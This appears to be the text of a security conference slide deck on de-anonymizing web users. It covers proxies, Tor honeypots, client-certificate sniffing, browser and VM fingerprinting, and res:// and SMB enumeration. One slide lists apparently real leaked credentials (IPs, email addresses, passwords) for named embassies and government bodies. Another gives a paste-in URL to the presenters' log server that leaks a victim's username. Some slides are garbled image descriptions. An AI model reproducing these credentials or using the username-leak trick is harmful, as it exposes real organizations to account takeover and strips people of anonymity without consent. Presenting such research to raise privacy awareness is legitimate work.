About Us

- Robert “RSnake” Hansen - CEO
  - SecTheory LLC
    - http://www.sectheory.com
    - http://ha.ckers.org – the lab
    - http://sla.ckers.org – the forum
- Joshua “Jabra” Abraham
- Rapid7 LLC - Security Researcher
  - http://www.rapid7.com
  - http://blog.spl0it.org
De-Anonymizing You!

- Why does this matter?
  - Privacy advocacy
  - People think they’re safe
  - Privacy is not a guarantee. It can be taken from you.
  - True anonymity is actually extremely difficult to achieve!!
- So we decided to attack users instead of websites for once.
Why is Privacy Good?

- Safety from trolls who want to drop docs
- Safer for political dissidents
- Safer for potential victims of violent crimes (women, children)...
- Allows people to be themselves (for good or bad)
- Safer for whistle blowers
- Increases freedoms
Why is Privacy Bad?

- Haven for “evildoers”
  - Allows them to attack easily
  - Allows them to retreat easily
  - Allows them to exfiltrate data easily
- Hurts law enforcement
- Prevents “social compact” rules of order from working in online contexts.
Either Way, Privacy is Broken

- The ecosystem is too complex
- IP is the “gold standard” for tracking people down on the Internet, but what if we could do better?
- Let’s start with the basics of how people anonymize themselves.
Basic anonymization guide

Proxies:
- CGI proxies
- SOCKS Proxies
- Tor
- Hacked machines

Freemail
- Hotmail
- Gmail
- Hushmail
Client Side Certificates

- Good/Normal Use
- Improving the trust model
  - Client: has the cert in the browser
  - Servers: requires all clients have valid certs
- What if the client goes to another website with SSL?
  - Browser defaults to send the public key
Client Side Certificates

- Well, could this be malicious?
- Sniff the public key
- Information
  - System/OS
  - Usernames/Emails
  - Data correlation
    - Tie a user back to a system

https://www.cs.uccs.edu/~cs591/secureWebAccess/fireFoxUserIDReq.png
100 embassy passwords
Breach proxy honeypots
Open Proxies you trust?
HackedTor.exe
- Setup the Client
- Tor node just logs everything
- We can play MiTM like Jay

Kazakhstan Embassy in Egypt
213.131.64.229 kazaemb piramid
Mongolian Embassy in USA
209.213.221.249
n.tumenbayar@mongolianembassy.us temp
UK Visa Application Centre in Nepal
208.109.119.54 vfsuknepal@vfs-uk-np.com Password
Defense Research & Development Organization Govt. Of India, Ministry of Defense jpsingh@drdo.com password+1
Indian Embassy in USA
amb@indianembassy.org 1234
Iran Embassy in Ghana 217.172.99.19
iranemb_accra@mfa.gov.ir accra
Iran Embassy in Kenya 217.172.99.19
iranemb_kenya@mfa.gov.ir kenya
Hong Kong Liberal Party 202.123.79.164
miriamlau 123456
Browsers Break Privacy

- Browsers lie about having a same origin policy (or at least are terrible at enforcing it)
- Plugins lie worse
- Websites control browsers, not the other way around in a decloaking scenario

- Bill Joy (Sun)
Browser Detection

- Mr T
  - Plugins
  - History
  - Screen Resolution
- BeEF
  - VMware detection (IE only)
  - Plugin detection
    - (Java, Flash and Quicktime)
  - Setup script in Backtrack4
- But…. The Cloud is the new Hotness!
Virtualization/Cloud Detection

- VM Detection
  - VMware
  - QEMU
  - VirtualBox
- Amazon EC2 Detection
  - Identify each region
- Cross-Platform
- New BeEF Module!
- Leverage this knowledge in our attacks
Real IP

- Java
  - Java internal IP
- Flash
- scp:// (winSCP)
- Word/pdf bugs
- Media player
File System Enumeration

- `res:// timing`
- `res:// timing without JavaScript`
- `smbenum`

- “Wtf?”
- SMB enum only finds certain types of files and only if known prior to testing
- SMB enum could also gather usernames through brute force
- Usernames + res:// timing could gather programs that smbenum alone couldn’t
Usernames and Computer Names!

- But seriously – that’s just terrible, let’s just get the username and computer name directly!
- Cut and paste
  - http://ha.ckers.org/log.cgi?rAnd0mcr4p%aPpdAta%2hi
  - http://ha.ckers.org/log.cgi?rAnd0mcr4p%aPpdAta%2hi
  - http://ha.ckers.org/log.cgi?rAnd0mcr4p%aPpdAta%2hi

Follow TCP Stream

Stream Content:

```
C.A.R.B.O.Y.R.o.b.e.r.t.H.a.n.s.e.n.C.A.R.B.O.Y.

*?

Windows Server 2003 R2 ServicePack 2
```

When you are embarrassed about your next novel...
There’s So Much More!

- Text/Frequency Analysis
- Header analysis
- DNS binding and rebinding
- Etc… etc…
  - Detecting Malice
- But all that relies on us “trapping” you let’s talk about one more: Log correlation…
Google? Evil? No way!!!
**Google? Evil? No way!!!**

---

**Software Screen**

The image shows a software interface with a table titled "Filter: hiding CSS, image and general binary content." The table contains columns for `host`, `method`, `URL`, `params`, `mod`, `status`, `length`, `MIME type`, `e...`, `title`, `SSL`, and `IP`. The table entries include URLs related to Google services, such as `safebrowsing.clients.goo...`. The interface also displays a request HTTP response with headers and content.

---

**Unix Command**

`mX7LvBaOU_vallG3X3_Tt2oEs4Fg= n:1859 lgoo-malware-shavar ad:9069-9315 s:9941-9213 u:static.cache.I.google.com/safebrowsing/dg/goog-malware-shavar_s_11561-11600.11561-11600:wwq1x102wWw5dbYahKUFY2VnKsoU= u:static.cache.I.google.com/safebrowsing/dg/goog-malware-shavar_s_11601-11660.11601-11660:Wus07c9ex15Tkpbqz8-Ysi-LXm= u:static.cache.I.google.com/safebrowsing/dg/goog-malware-shavar_s_11681-11780.11681-11780:Rz7Ou0_h1dDsk3b614YV7E5Ekk= login:user:pass= ...`
Google? Evil? No way!!!
Google? Evil? No way!!!
Google? Evil? No way!!!
Questions/Comments?

- Robert “RSnake” Hansen
  - http://www.sectheory.com
  - http://ha.ckers.org – the lab
  - http://sla.ckers.org – the forum
  - h_aT_ckers_d0t_org

- Joshua “Jabra” Abraham
  - http://www.rapid7.com
  - http://blog.spl0it.org
  - http://www.spl0it.org/files/talks/defcon09/
    - Final version of Slides and Demos
  - Jabra_aT_spl0it_d0t_org